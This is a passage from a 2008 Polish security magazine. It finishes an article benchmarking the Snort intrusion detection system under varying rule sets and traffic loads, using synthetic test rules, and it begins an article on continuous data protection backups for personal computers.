
Jak widać na Rysunku 1., system Snort 

w wersji 1.9.1 wykazuje dużą wrażliwość na 
liczbę reguł. Niewielki jej wzrost powoduje 
znaczny spadek wydajności systemu. W 
przypadku wersji 2.8.0.1 zauważany spadek 
wydajności jest niewielki, przy znacznie 
większym przyroście liczby sygnatur.

Kolejnym przeprowadzonym badaniem, 

była analiza wydajności systemu dla 
sztucznie stworzonego zbioru reguł. Reguły 

te zbudowane zostały zgodnie z poniższym 
wzorcem:

alert tcp any any -> any any 
    (msg: "Atak numer 00100"; content:
    "atak00100"; sid:00100;)

W każdej z reguł różny był jednak numer 
(w przypadku powyższej reguły jest to 
wartość 00100). Tak stworzony zbiór reguł 
pozwalał na przetestowanie możliwości 
systemu Snort do filtrowania zawartości 
pakietów. Proszę zauważyć, iż powyższa 
reguła określa, że alarm ma zostać 
wygenerowany, gdy spełnione zostaną 
następujące warunki:

•  

tcp

 – określa, iż protokołem warstwy 

transportowej ma być protokół TCP,

•  

any any -> any any

 – wskazuje, 

że ruch sieciowy ma być generowany 
z dowolnego adresu IP, z dowolnego 
portu, na dowolny adres IP oraz 
dowolny port,

•  

content:”atak001000”

 – definiuje, że 

w treści pakietu musi pojawić się ciąg 
znaków 

atak00100

,

•   pozostałe pola są polami 

informacyjnymi, nie mają wpływu 
na dopasowywanie sygnatury 
do ruchu sieciowego (pole 

msg

 

definiuje informację, jaka ma zostać 
zamieszczona w logach systemu 
gdy opisywana reguła dopasowana 
zostanie do przechwyconego 
pakietu, zaś pole sid określa unikalny 
identyfikator reguły).

Tak stworzony zbiór reguł możemy nazwać 
zbiorem reguł otwartych (ponieważ nie 

są zdefiniowane adresy IP oraz porty 
komunikacji sieciowej).

Jak można zauważyć na Rysunku 2., w 

przypadku Snorta w wersji 2.8.0.1 znaczący 
spadek wydajności systemu zauważa się 
dopiero przy liczbie reguł na poziomie 
20000. Pozwala to wytłumaczyć, dlaczego 
dla standardowych reguł system ten 
pracował właściwie z jednakową wydajnością 
bez względu na liczbę reguł. Jej maksymalna 
wartość wynosiła bowiem 9032. 

Starsza wersja systemu Snort już 

od niewielkich wartości liczby reguł 
wykazuje znaczną wrażliwość na jej wzrost. 
W przypadku tej wersji maksymalną 
przeanalizowaną liczbą było 2000 sygnatur. 
Jak widać, dla wersji 2.8.0.1 bez problemu 
wykonano pomiar dla zbioru 100000 reguł 
i czas analizy w tym przypadku był krótszy 
niż 10 minut.

W następnym przeprowadzonym 

badaniu zmianie uległa jedynie 
charakterystyka zbioru reguł. W regułach 
tych numer portu docelowego ustawiony 
został na wartość stałą. Tak stworzony zbiór 
reguł pozwala na zbadanie wrażliwości 
systemu na dużą liczbę reguł o podobnym 
charakterze. Ten zbiór sygnatur możemy 
nazwać zbiorem sygnatur o stałym porcie.

Rysunek 3. wskazuje, że dla systemu w 

wersji 2.8.0.1 znaczący spadek wydajności 
można zauważyć powyżej 20000 reguł. 
W przypadku Snorta w wersji 1.9.1 testy 
wykonane zostały tylko dla zakresu reguł od 
100 do 2000 i w tym zakresie (podobnie jak 
dla wersji 2.8.0.1) nie zauważa się wpływu 
liczby reguł na wydajność systemu IDS.

W kolejnym, ostatnim już teście 

wydajności badanego systemu, modyfikacji 
uległ zbiór sygnatur. Tym razem w każdej 

Rysunek 6. 

Reguły o tym samym porcie docelowym, ruch o zmiennym porcie docelowym

background image

OBRONA

54

 

HAKIN9 6/2008

ANALIZA WYDAJNOŚCI SYSTEMU SNORT

55

 

HAKIN9 

6/2008

regule określony został port docelowy, lecz 
za każdym razem był on inny. Biorąc pod 
uwagę fakt, iż numer portu docelowego 
zapisywany jest w polu 16-bitowym, testy 
przeprowadzono dla zbioru do 60000 
sygnatur. W przypadku systemu w wersji 
1.9.1 maksymalna liczba reguł wynosiła 
– podobnie jak wcześniej – 2000. Ten zbiór 
wzorców ataków możemy nazwać zbiorem 
sygnatur o zmiennym porcie.

Na Rysunku 4. widać, iż tym razem 

znaczny spadek wydajności systemu Snort 
w wersji 2.8.0.1 można zauważyć już przy 
liczbie 5000 reguł. Wyraźnie zaznacza się 
także fakt znacznie szybszego spadku 
wydajności dla starszej wersji badanego 
systemu. 

Wnioski

We wszystkich pomiarach wyraźnie 
zaznacza się fakt dużo wyższej wydajności 
najnowszej wersji systemu Snort. Pozwala 
to jednoznacznie wysunąć tezę o 
konieczności aktualizacji systemu Snort 
– choćby z tego jednego powodu, choć 
można by ich wyliczyć znacznie więcej. 

Dzięki wymienionej powyżej 

właściwości nowej wersji systemu, jest on 
w stanie doskonale radzić sobie z analizą 
ruchu sieciowego z wykorzystaniem 
całego dostępnego standardowego zbioru 
reguł. Stwierdzenie to jest nieprawdziwe 
w odniesieniu do starszej wersji systemu, 
mimo iż liczba reguł jest w tym przypadku 
kilkukrotnie mniejsza.

W przypadku Snorta w wersji 

2.8.0.1 można stwierdzić, iż liczba reguł 
(do wartości około 20000) nie ma 
znaczącego wpływu na wydajność 
systemu, o ile są to reguły podobne. 
Powyżej 20000 reguł obserwujemy 
spadek wydajności systemu. 
Charakterystyka wydajności na Rysunkach 
2. i 3. jest niemal identyczna, mimo iż 
rodzaje reguł są inne, ale należy zauważyć, 
iż każdy z tych zbiorów zbudowany został z 

reguł o podobnej specyfice. W przypadku 
starszej wersji systemu reguły otwarte 
stanowią poważny problem i obserwujemy 
w tym przypadku znaczny spadek 
wydajności.

Test przeprowadzony dla reguł o 

zmiennym porcie pokazuje jednak, iż 
liczba reguł różniących się między sobą 
charakterystyką ma znacznie większy 
wpływ na spadek wydajności niż miało to 
miejsce w przypadku reguł o podobnej 
strukturze. Jak widać na Rysunku 4., dla 
liczby około 5000 reguł obserwujemy 
początek istotnego narastania spadku 
wydajności. Snort w wersji 1.9.1 cechuje 
się taką samą, lecz znacznie szybciej 
ujawniającą się tendencją.

Wobec powyższego powstaje jeszcze 

pytanie, dlaczego dla standardowych 
reguł systemu Snort nie obserwujemy 
spadku wydajności powyżej wartości 
5000 reguł. Odpowiedź jest bardzo 
prosta. Otóż standardowy zbiór reguł 
badanego systemu nie charakteryzuje 
się dużą zmiennością. Występują w nim 
grupy podobnych reguł. Na przykład reguł 
kierowanych na port 80 jest aż 2418, co 
stanowi prawie 27% całego zbioru.

Badanie zdolności systemu 

Snort do poprawnej pracy w 

sieci o dużym natężeniu ruchu

Badania przeprowadzone zostały 
w warunkach laboratoryjnych z 
wykorzystaniem wielu stanowisk 
komputerowych oraz przełącznika 
pozwalającego na przesyłanie 
generowanego ruchu do pojedynczej 
maszyny z prędkością bliską 1Gb/s. Ruch 
generowany był z wykorzystaniem kilku 

komputerów, z których każdy generował 
ruch o wolumenie bliskim 100 Mb/s. Ruch 
ten kierowany był na pojedynczą maszynę, 
na której pracował system wykrywania 
włamań. Rozwiązanie takie pozwoliło na 
wygenerowanie dużego ruchu sieciowego, 
przy czym maszyny generujące nie były 
nadmiernie obciążone – co zapewniło 
szybki i niezawodny proces generacji. 
Zadaniem każdego komputera było jak 
najszybsze wygenerowanie 1000000 
pakietów o zadanej charakterystyce. 
Charakterystyka ta była modyfikowana dla 
poszczególnych testów. 

Do tworzenia pakietów wykorzystano 

generator pakietów wchodzący w skład 
dystrybucji jądra systemu Linux. Jako że 
wykorzystany generator pozwala tylko 
na generowanie pakietów UDP, testy 
przeprowadzone zostały na regułach 
UDP systemu Snort oraz na sztucznie 
tworzonych zbiorach reguł UDP.

Każdy pomiar wykonany został 

dziesięciokrotnie. Na poniższych wykresach 
prezentowana jest średnia arytmetyczna 
wyników uzyskanych w kolejnych próbach.

Pierwszy test przeprowadzony został 

dla zbioru standardowych reguł Snorta 
dla protokołu UDP. Dla Snorta w wersji 
2.8.0.1 dostępnych było 789 takich reguł, 
dla wersji 1.9.1 było ich tylko 181. Wszystkie 
tworzone dalej zbiory reguł złożone były 
z takiej samej liczby sygnatur. Z kolei 
generowany ruch sieciowy charakteryzował 
się zmiennością źródłowego adresu 
IP (z zakresu od 192.168.92.15 do 
192.168.92.250), zmiennością źródłowego 
portu (z zakresu od 10 do 65510) oraz 
zmiennością docelowego portu (z zakresu 
od 1 do 1024).

Rysunek 7. 

Reguły o tym samym 

porcie docelowym, ruch o stałym porcie 

docelowym

Rysunek 8. 

Reguły o zmiennym porcie docelowym, ruch o zmiennym porcie docelowym

background image

OBRONA

54

 

HAKIN9 6/2008

ANALIZA WYDAJNOŚCI SYSTEMU SNORT

55

 

HAKIN9 

6/2008

Jak widać na Rysunku 5., do prędkości 

rzędu 200 Mb/s system w wersji 2.8.0.1 
pracuje dobrze, dla systemu w wersji 
1.9.1 wartością graniczną jest wolumen 
około 90 Mb/s. Gubiona jest niewielka 
liczba pakietów. Powyżej w/w wartości 
granicznych praca systemów IDS wymaga 
wzmożonego zapotrzebowania na moc 
obliczeniową. Powoduje to wzrost liczby 
gubionych pakietów.

W kolejnym teście wykorzystany został 

sztucznie wygenerowany zbiór 789 reguł. 
Reguły te zbudowane zostały zgodnie z 
poniższym wzorcem:

alert udp any any -> any 234 
    (msg: "Atak numer 003"; content:
    "atak003"; sid:003;)

W każdej z reguł określony został ten sam, 
stały numer portu docelowego (234). 
Różniły się one między sobą jedynie 
wartością pola content. Generowany ruch 
posiadał taką samą charakterystykę, jak w 
poprzednim teście.

Rysunek 6. prezentuje wyniki tego 

testu. Snort w wersji 2.8.0.1 pracuje nie 
gubiąc pakietów, aż do przepustowości 
na poziomie 700 Mb/s. Dopiero powyżej 
tej wartości zaczynają pojawiać się 
straty w przechwyconych pakietach. 
Wtedy też obciążenie procesora wzrasta 
do poziomu bliskiego 100%. Z kolei 
Snort w wersji 1.9.1 gubi pakiety już 
dla przepustowości powyżej 100 Mb/s. 
Warto zauważyć, iż w teście tym zaledwie 
znikoma część wygenerowanych 
pakietów posiadała taki port docelowy, 
jaki określony został we wszystkich 
regułach. 

W następnym badaniu sytuacja 

ta ulegnie zmianie. Otóż wszystkie 
generowane pakiety będą posiadały taki 
port docelowy, jak wszystkie sygnatury w 
wykorzystywanym zbiorze. W teście tym 
bowiem zbiór sygnatur pozostaje taki sam, 
jak w poprzednim przypadku.

Wyniki tego testu (przedstawione na 

Rysunku 7.) bardzo wyraźnie uwidaczniają 
wyższość nowej wersji badanego systemu 
IDS. Do przepustowości rzędu 400 
Mb/s system ten praktycznie nie gubi 
pakietów. Dopiero powyżej tej granicy 
pojawiają się problemy. Jest to ściśle 
związane z zapotrzebowaniem na moc 
obliczeniową. Snort w wersji 1.9.1 wypada 
w tej konkurencji znacznie gorzej. Nie jest 
w stanie przeanalizować ruchu sieciowego 
na żadnym z badanych poziomów. System 
został unieszkodliwiony. 

Test ten pokazuje, jak może zachować 

się system wykrywania włamań, który 
pracuje z wykorzystaniem standardowych 
reguł w sieci, w której generowana jest 
duża ilość ruchu HTTP. Jak wcześniej 
wspomniałem, w standardowym zbiorze 
sygnatur znajduje się 2418 wzorców ataków 
kierowanych przeciwko serwerom HTTP.

W następnym wykonywanym badaniu 

zmianie uległ zarówno zbiór reguł, jak i 
charakterystyka generowanych pakietów. 
Zbiór reguł zawierał teraz reguły różniące 
się między sobą nie tylko informacją 
zawartą w polu content, ale także wartością 
portu docelowego. Dla każdej z reguł port 
ten był inny.

Generowany ruch sieciowy 

charakteryzował się zmiennością 
źródłowego adresu IP (z zakresu od 
192.168.92.15 do 192.168.92.250), 

zmiennością źródłowego portu (z zakresu 
od 10 do 65510) oraz zmiennością 
docelowego portu (z zakresu od 100 do 
888). Zakres użytych portów docelowych 
był identyczny, jak zakres portów użytych w 
zbiorze sygnatur.

W porównaniu z poprzednim testem 

mamy więc do czynienia z sytuacją, gdy 
każdy pakiet pasuje do jednej z reguł 
(pod względem portu docelowego). W 
poprzednim teście każdy pakiet pasował 
do każdej reguły (pod względem portu 
docelowego).

W tym teście (Rysunek 8.) system 

w wersji 2.8.0.1 osiąga wyniki niemal 
identyczne, jak w poprzednim. Z kolei 
system w wersji 1.9.1 uzyskuje wyniki 
znacznie lepsze niż w poprzednim, niemniej 
jednak jednocześnie wyraźnie gorsze niż 
nowa wersja systemu Snort. Porównanie 
wyników tego oraz poprzedniego testu 
pozwala stwierdzić, iż w nowej wersji 
systemu struktura reguł nie ma wpływu 
na jego wydajność (do granicy około 
400 Mb/s). W przypadku starszej wersji 
systemu struktura reguł ma silny wpływ 
na wydajność. W poprzednim teście 
mieliśmy tak naprawdę do czynienia z 
dopasowywaniem zawartości pakietów 
do dużej liczby wzorców, z kolei w tym 
teście – tylko do jednego wzorca (każdy 
pakiet pasował tylko do jednej reguły pod 
względem portu docelowego). Pozwala 
to wyciągnąć wniosek, iż system Snort w 
wersji 2.8.0.1 realizuje analizę pakietów 
w zupełnie inny sposób niż system Snort 
w wersji 1.9.1. Starsza wersja badanego 
systemu w pierwszej kolejności analizuje 
dane nagłówka IP oraz UDP (i zapewne 
TCP). Nie można natomiast na podstawie 
przeprowadzonych badań wyciągnąć 
analogicznych wniosków dla wersji 2.8.0.1.

Ostatni przeprowadzony test wymagał 

jedynie modyfikacji generatora pakietów. 
Zbiór reguł pozostał taki sam, jak w 
poprzednim teście. Generowane pakiety 

Rysunek 10. 

Analiza wydajności filtra 

pakietów iptables

Rysunek 9. 

Reguły o zmiennym porcie docelowym, ruch o stałym porcie docelowym

background image

OBRONA

56

 

HAKIN9 6/2008

posiadały określony jeden port docelowy, 
który pasował do jednej z reguł w zbiorze.

Z Rysunku 9. można wywnioskować, 

że Snort w najnowszej wersji uzyskał 
wynik niemal identyczny, jak w dwóch 
poprzednich badaniach. Z kolei system 
w wersji 1.9.1 uzyskał w tym teście 
najlepsze rezultaty z ostatnich trzech 
tutaj prezentowanych. Potwierdza to 
jednoznacznie wnioski wysunięte powyżej.

Wnioski

Dla Snorta w wersji 2.8.0.1 nie ma 
znaczenia charakterystyka reguł, która 
w przypadku systemu w wersji 1.9.1 
jest bardzo istotna (wyraźnie cechę tę 
prezentują zależności przedstawione na 
Rysunkach 7., 8. oraz 9.). Wynika z tego, iż 
Snort w wersji 2.8.0.1 – w przeciwieństwie 
do wersji 1.9.1 – nie jest wrażliwy na 
badanie zawartości pakietów.

Przechwytywany ruch sieciowy, który 

nie pasuje do żadnej z reguł systemu 
IDS, nie wpływa znacząco na wydajność 
tego systemu (właściwość tę prezentuje 
Rysunek 6.).

Ważnym elementem systemu 

wykrywania włamań jest moc 
obliczeniowa zastosowanej maszyny. 
Jak wynika z zaprezentowanych 
powyżej wyników badań, analiza ruchu 
sieciowego wymaga bardzo dużej mocy 
obliczeniowej. Na Rysunkach 5.-9. można 
zauważyć także pewną zależność. Gdy 
obciążenie procesora nie przekracza 
50%, liczba gubionych pakietów jest 
równa lub bliska 0%. Wynika z tego, iż 
maszyna, na której pracuje sieciowy 
system wykrywania włamań oparty 
na sygnaturach, powinna mieć moc 
obliczeniową dwukrotnie większą niż 
moc potrzebna do przeanalizowania 
maksymalnego ruchu w sieci przy 
założeniu zbioru reguł o możliwie 
niekorzystnej charakterystyce.

Zbiór sygnatur należy tworzyć z 

należytą uwagą – tak, aby nie umieszczać 
w nim sygnatur niepotrzebnych. 

Administrator nie musi przecież wiedzieć 
o próbie przeprowadzenia ataku na 
serwer FTP, jeśli takiego serwera nie 
posiada w sieci chronionej. Oczywiście 
ta wiedza byłaby cenna, ale jej zdobycie 
może doprowadzić do utraty informacji o 
przeprowadzonym udanym ataku. Wiedza 
o tym drugim fakcie jest znacznie bardziej 
wartościowa.

Innym sposobem na podniesienie 

wydajności systemu wykrywania włamań 
jest zbudowanie systemu rozproszonego, 
gdzie każda z maszyn posiadać będzie 
tylko pewien podzbiór sygnatur. Jest to 
rozwiązanie drogie, ale w wielu sytuacjach 
może okazać się jedynym gwarantującym 
wysoki poziom bezpieczeństwa.

Wsparcie dla systemu

IDS – wydajność 

filtra pakietów iptables

W trakcie wdrażania systemu Snort 
na pewno zrodzi się pytanie, gdzie 
go umiejscowić. Czy sensor systemu 
powinien znaleźć się już za firewallem, 
wewnątrz sieci chronionej, czy może 
jeszcze przed firewallem, na styku z siecią 
zewnętrzną? 

Umiejscowienie sensora przed 

firewallem pozwoli na uzyskanie informacji 
o wszystkich próbach ataków, także 
takich, które nie zostaną przepuszczone 
przez firewall. Umieszczenie sensora za 
firewallem pozwoli z kolei na uzyskanie 
informacji o wszystkich próbach ataków, 
które przedostały się przez firewall. 
Porównanie informacji zebranych przez 
oba te sensory pozwoli na określenie 
skuteczności firewalla. Nie będę się teraz 
jednak zajmował tą problematyką. Chodzi 
mi bowiem o fakt przepuszczania – bądź 
nie – pakietów przez firewall. 

Jak wykazały przeprowadzane testy, 

system Snort nie może zapewnić ochrony 
sieci gigabitowej. Może w takim razie 
można mu pomóc? Może zastosować 
filtr pakietów jako narzędzie służące do 
ograniczenia ilości ruchu sieciowego, 
jaki musi zostać przeanalizowany przez 
system wykrywania włamań? Pomysł 
prawdopodobnie jest dobry – pytanie 
tylko, czy sam filtr pakietów jest w stanie 
analizować ruch w sieciach o dużej 
przepustowości?

Postanowiłem to sprawdzić na 

przykładzie filtra pakietów iptables

przeprowadzając bardzo krótkie badanie 
na takiej samej maszynie, na jakiej 
testowany był system Snort. Rysunek 
10. prezentuje wyniki tej analizy. Mam 
nadzieję, iż wnioski nasuwają się 
same. Dodam jeszcze tylko, iż zmiana 
szczegółowości reguł oraz ich liczby 
nie wpływała znacząco na wydajność 
testowanego filtra pakietów.

Podsumowanie

Wdrażanie sieciowego systemu 
wykrywania włamań w sieciach, 
które mogą przesyłać dane z dużą 
przepustowością, stanowi duże wyzwanie. 
Jak wynika z przeprowadzonych badań 
wydajności systemu Snort, system ten 
nie gwarantuje ochrony w gigabitowych 
sieciach. Widać jednak poprawę w tej 
dziedzinie. Jak pokazało porównanie 
dwóch wersji systemu Snort, wersja 
aktualna charakteryzuje się znacznie 
większą wydajnością od swojego 
poprzednika. Jak pokazały testy, dosyć 
istotną kwestią jest ograniczanie liczby 
różnorodnych reguł. Ma to znaczący wpływ 
na podniesienie wydajności sieciowego 
systemu IDS wykrywającego nadużycia.

Wydajność systemu zależy także od 

wydajności posiadanej maszyny, ale należy 
dążyć do możliwie dużego obniżenia 
zapotrzebowania na moc obliczeniową. 
Przyczyni się to do podwyższenia poziomu 
bezpieczeństwa, ponieważ redukuje się 
w ten sposób potencjalną możliwość 
zgubienia pakietu – szczególnie w sytuacji 
zwiększenia natężenia ruchu sieciowego.

Wartym rozważenia jest również 

punkt umiejscowienia systemu 
wykrywania włamań w strukturze sieci, 
a także możliwość wsparcia jego pracy 
dodatkowymi narzędziami. Istotną rolę 
takiego działania pokazałem w przypadku 
analizy wydajności filtra pakietów iptables.

W Sieci:

• 

http://www.snort.org,

• 

http://www.netfilter.org,

• 

http://www.securityfocus.com/infocus/1728,

• 

http://www.securityfocus.com/infocus/1733

Marcin Klamra

Specjalista ds. Bezpieczeństwa firmy CCNS SA, asystent 

w Instytucie Teleinformatyki Politechniki Krakowskiej.

Od 1999 roku zajmuje się zagadnieniami administracji 

systemów komputerowych i bezpieczeństwem 

w sieciach komputerowych. Na stałe związany z 

firmą CCNS SA, w której zajmuje się rozwiązaniami 

bezpieczeństwa sieciowego. Jako Certyfikowany Trener 

WatchGuard Inc. prowadzi szkolenia w Autoryzowanym 

Centrum Szkoleniowym WatchGuard stworzonym przez 

firmę CCNS SA. 

Swoją wiedzę pogłębia uczestnicząc jako asystent 

naukowy w pracach badawczych Instytutu Teleinformatyki 

Politechniki Krakowskiej.

Kontakt z autorem: m.klamra@ccns.krakow.pl

background image
background image

58

 

OBRONA

HAKIN9 6/2008

S

zlachetne zdrowienikt się nie dowie
jako smakujesz się zepsujesz 
– tak kiedyś Jan Kochanowski pisał 

o najcenniejszym ludzkim zdrowiu. Jednak, 
gdyby ten fragment przełożyć na realia naszych 
czasów, można te słowa sparafrazować i 
powiedzieć: O ważne dane, nikt się nie dowie, 
ile dla nas znaczą, aż się utracą
. Innymi 
słowy, szczęśliwy jest ten, kto jeszcze nie 
doznał uczucia, jakie odczuwamy w chwili, gdy 
uświadomimy sobie, że właśnie z naszego 
komputera zniknęła praca magisterska czy 
semestralna, nie ma katalogu z danymi, które 
skrzętnie gromadziliśmy przez kilka miesięcy 
lub nawet lat. 

Nawet nie chcemy sobie wyobrażać, że 

zniknęły bezpowrotnie zdjęcia i filmy z naszych 
najwspanialszych wakacji (podróży poślubnej), 
ślubu czy innych wydarzeń rodzinnych, jak 
pierwszy uśmiech naszego dziecka itp. To 
wszystko niestety może się zdarzyć i to 
nie komuś innemu, ale właśnie nam! Nam 
– użytkownikom sprzętu komputerowego 
– w domu i w pracy, zarówno na naszym 
komputerze osobistym, jak i firmowym. 

Zagrożeń, które mogą prowadzić do utraty 

cennych dla nas danych, jest naprawdę 
sporo. Począwszy od bardzo prozaicznych, 
czyli kradzieży laptopa lub jego uszkodzenia 
na skutek nie–ostrożnego obchodzenia się 
(i niekoniecznie musi to być topienie laptopa 
w wannie), przez uszkodzenie dysku w 

MARIUSZ 

KAPANOWSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

jak ważne są dane na naszych 

komputerach,

czym grozi ich utrata, 

artykuł szeroko podejmuje 

tematykę zabezpieczania 

danych przed ich utratą oraz 

przedstawia obecnie stosowane 

mechanizmy ochrony danych.

CO POWINIENEŚ 

WIEDZIEĆ

znać ogólne zasady 

posługiwania się komputerem 

z systemem Windows,

posiadać ogólną wiedzę 

o przechowywaniu danych 

i działaniu dysków twardych.

laptopie (np. z powodu wady fabrycznej), na 
zwyczajnym spaleniu się laptopa kończąc (np. 
w samochodzie czy mieszkaniu, które również 
spłonęło). Każdemu może się również zdarzyć, 
że jego laptop wyląduje na twardej podłodze 
i nie będzie nadawał się do użytku, a to już 
prosta droga do utraty naszych drogocennych 
danych. 

Niektórzy oczywiście są zdania, że 

wszystkie dane można odzyskać i nie jest 
konieczne ich zabezpieczanie. Sytuacja jednak 
się komplikuje, gdy nasz komputer zostanie 
zagubiony lub skradziony. Wówczas nie mamy 
z czego odzyskać danych. Znam również 
przypadek, że upadek laptopa spowodował 
zerwanie głowicy dysku twardego i porysowanie 
talerzy tegoż dysku. Wówczas nawet najlepsza 
firma zajmująca się odzyskiwaniem danych nie 
była w stanie odtworzyć zawartości dysku. No 
i użytkownik przeżył to, o czym była mowa na 
samym początku niniejszego artykułu. 

Jak uniknąć 

problemu utraty danych?

W każdej dziedzinie należy pamiętać o bardzo 
prostej zasadzie, że lepsza od leczenia jest 
profilaktyka
. Odnosząc to do tematu utraty 
danych, trzeba wiedzieć, że dane zawsze 
można zabezpieczyć przed ich utratą. W jaki 
sposób? Zwyczajnie – kopiując je na inny dysk 
lub komputer, czyli tworząc kopię zapasową 
– backup danych. 

Stopień trudności

Continuous 

Data 

Protection 

Artykuł przedstawia tematykę ochrony danych na komputerach 

osobistych pod kątem ich dostępności. Opisuje zagrożenia, które 

mogą skutkować utratą naszych danych z laptopa bądź PC–ta 

oraz proponuje rozwiązanie zapobiegawcze.

background image

59

 

NAJLEPSZA OCHRONA DANYCH NA NASZYM PC

HAKIN9 

6/2008

I teraz większość Czytelników 

pomyślała – backup to zapewne 
serwery, taśmy, drogie techniki zapisu 
(napędy i biblioteki taśmowe) oraz 
oprogramowanie do tworzenia kopii 
zapasowych. To nie dla mnie. Lecz ja 
chciałbym zaznaczyć, że stereotypowe 
pojmowanie kwestii backupu nie jest 
właściwe w przypadku ochrony danych 
na komputerach osobistych. Pamiętajmy, 
że tradycyjny backup dotyczył serwerów, 
a my chcemy znaleźć właściwy sposób 
na zabezpieczenie danych na naszym 
PC – w firmie lub domu. 

Backup w tradycyjnej formie 

zazwyczaj jest wykonywany dla dużych 
serwerów, gdzie są przechowywane 
krytyczne dla firmy dane. I faktycznie 
nadal do tego celu używane są 
sprawdzone już techniki, czyli kopiowanie 
danych na nośniki taśmowe. Taki backup 
najczęściej wykonywany jest nocą, 
gdy serwery nie są dociążone przez 
użytkowników, a sieć przesyła niewielką 
liczbę danych. 

Godziny nocne dają również 

możliwość zatrzymywania silników 
baz danych, aby skopiować zawartość 
tych baz. Jednak czy o taki backup 
nam chodzi, kiedy myślimy o danych 
przechowywanych na naszym laptopie? 
Najczęściej śpi on w nocy razem z 
nami. Nie jest na stałe podłączony do 
sieci firmowej lub domowej, ponieważ 
podróżujemy z nim niemalże codziennie. 
Na naszym laptopie nie mamy też 
baz danych, bo te aplikacje zazwyczaj 
potrzebują dużo lepszych parametrów 
sprzętowych niż te, w które nasz laptop 
jest wyposażony. 

Łatwo więc zauważyć, że tradycyjne 

techniki backupu nie do końca nadają 
się do kopiowania danych z naszego 
laptopa czy domowego PC. 

Wymarzony 

program do backupu

A jaką funkcjonalność musiałby mieć 
program do tworzenia kopii zapasowych, 
abyśmy mogli spokojnie spać, nie 
martwiąc się o nasze dane? Chyba 
najważniejszą cechą jest to, aby kopiował 
on wszystkie dane, jakie znalazły się na 
naszym komputerze (chociażby przez 
bardzo krótki moment). Wówczas mamy 
pewność, że zawsze możemy odtworzyć 

dane, które kiedykolwiek zagościły na 
naszym PC. Drugą ważną kwestią jest, 
aby nie martwić się o to, że np. w piątek 
– po całym tygodniu pracy – musimy 
wykonać jeszcze kopię zapasową. 
Dodatkowo, gdy jesteśmy poza biurem i 
nie mamy podłączenia do sieci firmowej, 
nie przeniesiemy tych danych do 
miejsca docelowego. A gdy pojawimy 
się w pracy w poniedziałek, to będzie 
tysiąc ważniejszych spraw na głowie 
niż tworzenie zaległej kopii zapasowej z 
piątku. 
Oczywiście, nasz wymarzony program 
musi też wiedzieć, co już mamy 
skopiowane, a co jest nowego na 
naszym komputerze i z czego należy 
utworzyć kopię zapasową. Nie można też 
zapominać, o różnych wersjach obiektu, 
który backupujemy. Przykładowo plik 
CDP.doc może zmieniać się na skutek 
edycji przez użytkownika. W związku z 
tym, dobry program do tworzenia kopii 
zapasowych powinien zachowywać 
każdą z wersji takiego pliku, aby w razie 
potrzeby była możliwość odtworzenia 
jakiejś złotej myśli sprzed kilku dni, którą 
usunęliśmy podczas edycji w chwili 
roztargnienia. 

Kolejną istotną sprawą jest to, 

aby backupy zajmowały jak najmniej 
miejsca na jakimś zapasowym dysku 
lub macierzy dyskowej w firmie. Nie jest 
nam potrzebne kopiowanie tych samych 
plików systemowych z np. 100 komputerów 
w firmie, ponieważ są one identyczne 
na każdym komputerze (zakładając, że 
wszędzie zainstalowano ten sam system 
operacyjny). Dodatkowo, tworzenie kopii 
zapasowej ze śmiesznego filmu, który 
znajduje się na większości lub wszystkich 
komputerach użytkowników, też jest 
trwonieniem zasobów. Dlatego w naszym 
wymarzonym programie przydałby się jakiś 
mechanizm bardziej inteligentny, który nie 
powielałby kopii zapasowych tych samych 
plików. Oczywiście są także pliki systemowe 
specyficzne dla każdego hosta i należy je 
chronić tworząc kopię zapasową. O tym 
nasz program też powinien pamiętać.

Continuous Data Protection 

– czyż nie tego nam trzeba?

Wychodząc naprzeciw oczekiwaniom 
użytkowników komputerów osobistych, 
tak w domowym zaciszu, jak i w firmach, 

opracowano specyficzną technikę 
ochrony danych, nazywaną CDP 
– Continuous Data Protection, czyli 
ochrona danych w sposób ciągły. Co to 
takiego jest i jak to działa? Już spieszę 
z wyjaśnieniem. Otóż Continuous Data 
Protection
 w swym założeniu ma za 
zadanie nieprzerwaną ochronę danych. 

Ta ochrona danych jest oczywiście 

w postaci tworzenia kopii zapasowych 
– a ponieważ jest ona prowadzona w 
sposób ciągły, oznacza to, że niejako w 
czasie rzeczywistym potrafi backupować 
zbiory danych. Jest to najważniejsza 
i podstawowa cecha techniki CDP, 
która pozwala na odzyskanie zbioru 
zapisanego w dowolnym momencie w 
przeszłości. 

Czyż to nie jest to, o co nam 

chodziło? Ważne jest również, że CDP nie 
wymaga stałego przyłączenia do sieci i 
komunikacji z serwerem zarządzającym 
backupami, co znakomicie wpisuje się w 
potrzeby stacji przenośnych – laptopów. 
Aplikacja na naszym laptopie sama 
czuwa nad kopiowaniem wszelkich 
zbiorów z naszego komputera, które 
zostały na nim zapisane (nawet na 
sekundę). Należy też pamiętać, że 
objętość danych na naszych laptopach 
jest stosunkowo mała w porównaniu 
do dużych serwerów produkcyjnych 
w firmach. W związku z tym kopie 
zapasowe nie są przerażająco duże 
objętościowo. Stąd też te backupy 
nie trafiają bezpośrednio na bardzo 
pojemne taśmy magnetyczne, lecz 
na dyski twarde – bądź to na naszym 
komputerze, bądź na macierzy dyskowej 
w firmowej serwerowni. 

Nic nie stoi na przeszkodzie, aby 

w końcu trafiły one na taśmę, lecz 
może się to odbyć na dalszym etapie 
ochrony danych. Ponadto, aby w pełni 
zoptymalizować wykorzystywaną 
przestrzeń dyskową, stosuje się również 
mechanizm deduplikacji (Rysunek 1.), co 
zapobiega przechowywaniu identycznych 
zbiorów w ramach kopii zapasowych. 
Np. aktualizacja do MS Windows nie 
jest kopiowana 100 razy – z każdego 
komputera w firmie. Wystarczy tylko 
jedna kopia, a w przypadku większej 
liczby wystąpień (przy kopiowaniu z 
innych komputerów), tworzony jest 
jedynie odnośnik do tego obiektu. 

background image

OBRONA

60

 

HAKIN9 6/2008

NAJLEPSZA OCHRONA DANYCH NA NASZYM PC

61

 

HAKIN9 

6/2008

Tutaj należy jeszcze zauważyć, 

że sama technika CDP jest częścią 
składową, na której oparte są programy 
do tworzenia kopii zapasowych. 
Narzędzia takie zawierają również inne 
funkcjonalności, które niekoniecznie 
są związane z CDP. Przykładem takiej 
funkcjonalności może być Disaster 
Recovery
, czyli możliwość szybkiego 
odtwarzania systemu i danych po awarii. 
Jest to bardzo pożądana funkcjonalność 
i bardzo często bywa dołączana do 
oprogramowania tworzącego kopie 
zapasowe. Nie należy jednak łączyć tej 
funkcjonalności z samą techniką CDP. 

A jak działa to CDP 

i oprogramowanie 

na nim zbudowane?

